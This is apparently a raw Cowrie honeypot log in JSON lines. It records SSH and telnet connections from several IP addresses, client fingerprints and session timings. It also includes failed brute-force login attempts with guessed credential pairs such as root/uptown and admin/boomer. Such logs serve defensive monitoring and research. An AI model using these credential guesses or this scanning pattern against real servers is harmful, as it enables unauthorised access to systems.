{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:14.085006Z","src_ip":"213.209.159.158","session":"8a59f24bc14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33554,"dst_ip":"10.17.0.5","dst_port":23,"session":"aecf0c0aac3d","protocol":"telnet","message":"New connection: 62.210.97.77:33554 (10.17.0.5:23) [session: aecf0c0aac3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:15.778966Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33558,"dst_ip":"10.17.0.5","dst_port":23,"session":"506d2433f5d9","protocol":"telnet","message":"New connection: 62.210.97.77:33558 (10.17.0.5:23) [session: 506d2433f5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:16.145331Z"}
{"eventid":"cowrie.session.closed","duration":35.05825471878052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:17.640622Z","src_ip":"62.210.97.77","session":"f05d3c73516a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.01053285598755,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:18.997301Z","src_ip":"62.210.97.77","session":"bcc2aeefe54e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47760,"dst_ip":"10.17.0.5","dst_port":23,"session":"aacb8e015951","protocol":"telnet","message":"New connection: 62.210.97.77:47760 (10.17.0.5:23) [session: aacb8e015951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:19.402833Z"}
{"eventid":"cowrie.session.closed","duration":51.65182018280029,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:23.471509Z","src_ip":"165.232.131.181","session":"eefb99fa4833","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"uptown","message":"login attempt [root/uptown] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:24.030951Z","src_ip":"213.209.159.158","session":"8a59f24bc14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47762,"dst_ip":"10.17.0.5","dst_port":23,"session":"41a017358cbd","protocol":"telnet","message":"New connection: 62.210.97.77:47762 (10.17.0.5:23) [session: 41a017358cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:26.202629Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47778,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c1c6b22f4d8","protocol":"telnet","message":"New connection: 62.210.97.77:47778 (10.17.0.5:23) [session: 6c1c6b22f4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:26.265800Z"}
{"eventid":"cowrie.session.closed","duration":36.74776220321655,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:26.292169Z","src_ip":"62.210.97.77","session":"06310ff91420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.22977089881897,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:27.048056Z","src_ip":"165.232.131.181","session":"7f96d889a73f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:27.245307Z","src_ip":"213.209.159.158","session":"8a59f24bc14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37682,"dst_ip":"10.17.0.5","dst_port":22,"session":"686f8e1460e9","protocol":"ssh","message":"New connection: 213.209.159.158:37682 (10.17.0.5:22) [session: 686f8e1460e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:27.352381Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47780,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a307dcb46c2","protocol":"telnet","message":"New connection: 62.210.97.77:47780 (10.17.0.5:23) [session: 9a307dcb46c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:27.950031Z"}
{"eventid":"cowrie.session.closed","duration":38.9557671546936,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:28.696020Z","src_ip":"165.232.131.181","session":"fbc0adb748ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49074,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb58aa608ff","protocol":"telnet","message":"New connection: 62.210.97.77:49074 (10.17.0.5:23) [session: efb58aa608ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:29.552399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:29.998080Z","src_ip":"213.209.159.158","session":"686f8e1460e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:30.004228Z","src_ip":"213.209.159.158","session":"686f8e1460e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.65737318992615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:30.779396Z","src_ip":"62.210.97.77","session":"9126732d0405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35740,"dst_ip":"10.17.0.5","dst_port":23,"session":"907ffc3bae92","protocol":"telnet","message":"New connection: 165.232.131.181:35740 (10.17.0.5:23) [session: 907ffc3bae92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:31.787842Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41958,"dst_ip":"10.17.0.5","dst_port":23,"session":"74d2ffe54a10","protocol":"telnet","message":"New connection: 165.232.131.181:41958 (10.17.0.5:23) [session: 74d2ffe54a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:33.244587Z"}
{"eventid":"cowrie.session.closed","duration":36.74940013885498,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:34.604262Z","src_ip":"62.210.97.77","session":"6e9f9ab07a97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49084,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d69aa36d60a","protocol":"telnet","message":"New connection: 62.210.97.77:49084 (10.17.0.5:23) [session: 8d69aa36d60a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:36.462112Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43898,"dst_ip":"10.17.0.5","dst_port":23,"session":"8613e22a7a90","protocol":"telnet","message":"New connection: 165.232.131.181:43898 (10.17.0.5:23) [session: 8613e22a7a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:38.474315Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"USER166","message":"login attempt [root/USER166] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:39.278557Z","src_ip":"213.209.159.158","session":"686f8e1460e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.08376717567444,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:39.586601Z","src_ip":"38.54.119.93","session":"de0a94bedef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":27106,"dst_ip":"159.203.135.109","dst_port":22,"session":"07246fb43f79","protocol":"ssh","message":"New connection: 89.218.69.66:27106 (159.203.135.109:22) [session: 07246fb43f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:39.703207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:39.708310Z","src_ip":"89.218.69.66","session":"07246fb43f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57752,"dst_ip":"10.17.0.5","dst_port":23,"session":"496e91bb0ae3","protocol":"telnet","message":"New connection: 62.210.97.77:57752 (10.17.0.5:23) [session: 496e91bb0ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:39.840436Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:39.881947Z","src_ip":"89.218.69.66","session":"07246fb43f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.433860063552856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:40.489084Z","src_ip":"62.210.97.77","session":"d144e5d9ff78","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"boomer","message":"login attempt [admin/boomer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:40.594842Z","src_ip":"89.218.69.66","session":"07246fb43f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57754,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c76e59c363","protocol":"telnet","message":"New connection: 62.210.97.77:57754 (10.17.0.5:23) [session: a4c76e59c363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:40.654002Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57764,"dst_ip":"10.17.0.5","dst_port":23,"session":"44fb9a30a2da","protocol":"telnet","message":"New connection: 62.210.97.77:57764 (10.17.0.5:23) [session: 44fb9a30a2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:41.165128Z"}
{"eventid":"cowrie.session.closed","duration":37.74472427368164,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:41.793136Z","src_ip":"65.60.27.33","session":"eac7b141d8af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:42.184365Z","src_ip":"89.218.69.66","session":"07246fb43f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.93600654602051,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:42.278720Z","src_ip":"38.54.119.93","session":"1e964c396d17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:42.926707Z","src_ip":"213.209.159.158","session":"686f8e1460e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9054,"dst_ip":"10.17.0.5","dst_port":22,"session":"c42319439386","protocol":"ssh","message":"New connection: 213.209.159.158:9054 (10.17.0.5:22) [session: c42319439386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:43.046562Z"}
{"eventid":"cowrie.session.closed","duration":45.09954476356506,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:44.119433Z","src_ip":"65.60.27.33","session":"1de070e47b12","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:45.196640Z","src_ip":"213.209.159.158","session":"c42319439386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:45.200225Z","src_ip":"213.209.159.158","session":"c42319439386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.89757776260376,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:45.280196Z","src_ip":"65.60.27.33","session":"d38a6f9fab30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.88945746421814,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:47.610291Z","src_ip":"65.60.27.33","session":"84a4f724cc91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.69650340080261,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:49.028622Z","src_ip":"38.54.119.93","session":"ebb26ffa76bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.580300092697144,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:49.717377Z","src_ip":"165.232.131.181","session":"fb7f0463dbbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.545774698257446,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:49.809035Z","src_ip":"62.210.97.77","session":"a701d801b0fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33056,"dst_ip":"10.17.0.5","dst_port":23,"session":"3660d68efa92","protocol":"telnet","message":"New connection: 62.210.97.77:33056 (10.17.0.5:23) [session: 3660d68efa92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:49.981498Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a5ce8b1dfdf","protocol":"telnet","message":"New connection: 62.210.97.77:33072 (10.17.0.5:23) [session: 3a5ce8b1dfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:51.113865Z"}
{"eventid":"cowrie.session.closed","duration":35.06787300109863,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:51.213068Z","src_ip":"62.210.97.77","session":"506d2433f5d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20661807060242,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:52.609331Z","src_ip":"62.210.97.77","session":"aacb8e015951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33078,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecfe3ec09e66","protocol":"telnet","message":"New connection: 62.210.97.77:33078 (10.17.0.5:23) [session: ecfe3ec09e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:53.165231Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":55810,"dst_ip":"10.17.0.5","dst_port":22,"session":"f723f8de0507","protocol":"ssh","message":"New connection: 187.16.96.250:55810 (10.17.0.5:22) [session: f723f8de0507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:53.851081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:53.855501Z","src_ip":"187.16.96.250","session":"f723f8de0507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:53.972299Z","src_ip":"187.16.96.250","session":"f723f8de0507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.30650186538696,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:54.085300Z","src_ip":"62.210.97.77","session":"aecf0c0aac3d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"test","message":"login attempt [newuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:54.468555Z","src_ip":"187.16.96.250","session":"f723f8de0507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user123456","message":"login attempt [root/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:54.510445Z","src_ip":"213.209.159.158","session":"c42319439386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:55.602629Z","src_ip":"187.16.96.250","session":"f723f8de0507","protocol":"ssh"}
